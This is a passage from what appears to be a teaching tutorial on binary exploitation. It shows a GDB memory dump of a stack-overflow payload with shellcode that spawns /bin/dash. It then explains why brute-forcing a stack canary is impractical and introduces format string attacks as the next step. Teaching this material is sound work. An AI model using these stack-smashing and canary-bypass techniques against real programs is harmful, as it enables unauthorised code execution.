0xc: AAAA
0x10: AAAA
0x14: AAAA
0x18: AAAA
0x1c: AAAA
0x20: AAAA
0x24: AAAA
0x28: u?
0x2c: AAAA
0x30: AAAA
0x34: AAAA
0x38: ????
0x3c: ????
0x40: ????
0x44: ????
0x48: ????
0x4c: ????
0x50: ????
0x54: ????
0x58: ????
0x5c: ????
0x60: ????
0x64: 1???
0x68: Phn/
0x6c: shh/
0x70: /bi?
0x74: ?
       ?
0x78: ????
process 29959 is executing new program: /bin/dash
$

We get a shell. But, this is not super satisfying because there is no good way to do this outside of GDB. We need a program that does a bit more, in particular, a program we can crash a bunch to brute force the canary

3.3 Brute Forcing the Canary

Why don't we just try and brute force cannary, how hard could it be? Well, let's compare this to ASLR. With ASLR, there was 19 bits of randomness we had to contend with, but we could handle that because of NOP sleds. With a NOP sled, we can reduce the randomness down to 7 or 8 bits, which we can brute force fairly throughly.

We don't have the luxury of a nop-sled with Canaries, and worse, there is 24 bits of randomness to contend with, not 19. Doing the math like before, to get to 50% probability of getting it right at least once, we'd need to do 16,777,215 guesses! That's way too many to do in a reasonable amount of time. It would seem like we are S.O.L.

How do we defeat the canary? We have to jump the stack guard. For that, we'll need to use a new technique that doesn't involve stack smashing: format string attacks. We'll get it next.